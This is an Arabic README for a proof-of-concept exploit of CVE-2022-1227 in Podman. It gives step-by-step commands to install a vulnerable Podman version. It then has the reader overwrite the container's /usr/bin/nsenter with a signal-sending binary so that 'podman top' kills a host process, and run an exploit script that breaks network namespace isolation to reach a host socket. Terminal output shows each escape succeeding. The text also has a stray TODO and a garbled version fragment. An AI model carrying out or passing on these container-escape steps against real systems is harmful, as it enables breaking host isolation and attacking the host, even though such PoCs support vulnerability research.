
سكربت لاستغلال CVE-2022-1227
نص برمجي لاستغلال CVE-2022-1227.
20.10.4.0.0؛ يُوصى باستخدام 3.4.4.TODO: أضف مبدأ عمل هذه الثغرة
اتبع التعليمات في الوثيقة الرسمية: https://podman.io/getting-started/installation#installing-on-linux
بالنسبة لـ Ubuntu 20.10، يجب أن يكون أمر التثبيت:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
في هذا القسم، نجرب PoC بسيطًا لكسر حدود PID namespace وقتل عملية على المضيف.
فيما يلي الخطوات:
شغّل حاوية باستخدام الأمر التالي: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
شغّل keep في ./exp/bin واحصل على PID الخاص بالعملية. عادةً سيعرض رقم PID الخاص به على الطرفية. وبما أن البرنامج الثنائي مضبوط على النوم لمدة 600 ثانية، ربما يجب أن تكون سريعًا لإنهاء الخطوات التالية.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
عدّل الكود المصدري في ./exp/src/sendsig.c وضع رقم PID الذي حصلت عليه في الخطوة السابقة في المتغير pid.
int pid = OLD_VAL;
إلى
int pid = 7719;
ضع البرنامج الثنائي المترجم داخل podman: podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter
في هذا القسم، نستخدم الـ sockets لتحقيق اتصال socket بين العمليات بين العميل داخل الحاوية والخادم على المضيف، وهو أمر مستحيل عادةً عندما تكون آلية العزل مكتملة. نستخدم هذه الثغرة لاختراق عزل مساحة أسماء الشبكة (net namespace) لتحقيق هذا الاستغلال.
أولاً، ادخل إلى الدليل عن طريق cd ./exp;
بمجرد تشغيل ./exploit.sh، سيتم تنفيذ كل شيء تلقائيًا؛ إذا سار كل شيء بشكل صحيح، سيعرض الخادم:
Hello from the container!
هذا يعني أننا عبرنا مساحة أسماء الشبكة وتمكنّا من الهروب.
شغّل podman top لتفعيل الثغرة عن طريق: podman top -l
إذا سار كل شيء بشكل صحيح، فستُقتل العملية قيد التشغيل keep فورًا. هذا أمر غير اعتيادي، لأن العمليات داخل الحاوية عادةً لا يمكنها إرسال إشارات إلى عمليات المضيف بسبب عزل مساحة أسماء PID (PID namespace).
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed